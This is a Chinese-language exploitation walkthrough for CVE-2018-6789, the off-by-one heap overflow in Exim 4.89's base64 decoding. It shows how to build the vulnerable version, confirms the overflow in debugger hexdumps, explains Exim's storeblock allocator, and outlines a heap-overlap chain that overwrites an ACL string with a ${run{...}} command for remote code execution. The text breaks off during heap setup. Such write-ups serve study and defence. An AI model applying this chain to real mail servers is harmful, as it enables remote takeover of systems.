安装依赖
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
下载旧版本的exim
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
然后修改Local/Makefile 为了方便其中各个文件夹都指向当前目录下
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
这样便于调试 然后编译安装
make install
修改./configure, 直接用下面内容覆盖
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
.ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
.endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1
./bin/exim -bd -d-receive
首先先分析位于base64.c中的patch:
其中result是base64解码结果存放的buffer,由store_get函数获取
可以发现patch之前的size计算是有问题的,当size属于4n~4n+3的范围里面的时候,计算得到的size的长度是相等的,但是b64decode对于非4的倍数的参数进行解码的时候会多解出一两个字节
比如我们直接发送
auth_md5('Hf'*42)
size=0x40
结果的内存分布:
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 00 │....│....│....│....│
+0040 0x711da0 20 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
再试试
auth_md5('Hf'*42+'HfH')
size=0x40
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0040 0x711da0 f1 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
溢出了两个字节
exim为了提升性能在原有的堆管理机制上自己实现了一套内存管理机制,它相当于处于代码和glibc之间的一个中间缓冲,目的是减少malloc和free的次数
对于exim来说一个单独的堆块称为storeblock,每次使用时从里面分割出合适大小的缓冲区使用,如果一个storeblock用完了就再malloc一个storeblock。
对于每个storeblock来说,它的结构是一个简单的单链表:
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
程序使用堆的时候主要使用的api在store.c中:
store_get
store_release
store_extend
store_reset
其中store_get用于获取缓冲区,关键代码如下:
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161 /* If there was no free block, get a new one */
162
163 if (!newblock)
164 {
165 pool_malloc += mlength; /* Used in pools */
166 nonpool_malloc -= mlength; /* Exclude from overall total */
167 newblock = store_malloc(mlength);
...
可以看到每次申请的store_block最小长度为STORE_BLOCK_SIZE, 即8192
所以一个8192大小的store_block,加上它的结构头部以及堆块头部后总大小为0x2020

在exim每次执行client发送过来的指令的时候,如果指令执行成功,就会调用store_reset将不需要的缓存、多出来的store_block进行释放
这里指的执行成功包括指令的格式正确,邮箱不包含非法字符等等,否则不会调用store_reset
这个漏洞是一个经典的off-by-one(尽管其实可以溢出2个字节),但是由于溢出的字节数较少,无法直接覆盖堆块上的敏感结构,所以这里需要通过一些ptmalloc的特性将这个漏洞的影响扩大,将其转化为一个更大范围的overflow, 或者说overlap
对于off-by-one的漏洞,有一个经典的利用方法就是chunk enlarge -> chunk overlap, 通过将堆块的size改大,再伪造一个堆头用于bypass glibc sanity check,以此达到堆块的重叠造成更大范围的覆盖。
这里主要的过程就是通过chunk enlarge -> chunk overlap -> corrupt next pointer in storeblock,再触发store_reset造成一个任意堆块的free,再次申请到这个堆块就能对它的内容进行修改(type confusion)。 meh在文章中推荐修改ACL字符串所在的堆块,因为在ACL字串的处理中存在一个命令执行的功能 ACL的字符串非常多,但是大多数都是NULL(可能和配置文件有关),这里我选择的是acl_smtp_mail字符串,其执行命令的语法为
${run{command}}
大概的堆布局如下

其中第一个堆块是base64解码得到的堆块,用于off-by-one,因此它应该处于一个storeblock的末尾,为了方便起见这里直接申请一个大于0x2020的堆块存放base64解码结果;
第二个堆块为sender_helo_name,用于覆盖下一个堆块。sender_helo_name不是存在storeblock中,而是直接malloc出来的:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
所以大小随意;
第三个堆块为base64解码得到的堆块,主要用于伪造头部并被覆盖,因此它应该处于一个storeblock的起始部位,为了方便起见也直接申请0x2020大小。
我的exp也是按照网上别人的分析一步一步得到的,大体思路不变,不过堆的布局和别人有些不一样,所有有些小的参数是不同的
首先先生成一个大小为0x6060的unsortedbin,只需要如下指令就能实现
ehlo('a'*0x1000)
当exim接收到"EHLO "+'a'*0x1000后,会在match.c的match_check_list函数中生成以下三个字符串
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
其中*name*为'a'*0x1000
由于name的长度为0x1000,所以每个字符串会单独占用一个storeblock,这三个字符串就会分别处于连续的三个storeblock中 当exim成功完成ehlo指令后,会在smtp_in.c的smtp_setup_msg中将前面的三个字符串进行释放,得到一个0x6060大小的堆块:
4369 cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370 smtp_reset(reset_point);
4371 toomany = FALSE;
4372 break; /* HELO/EHLO */
这时候的堆布局如下:
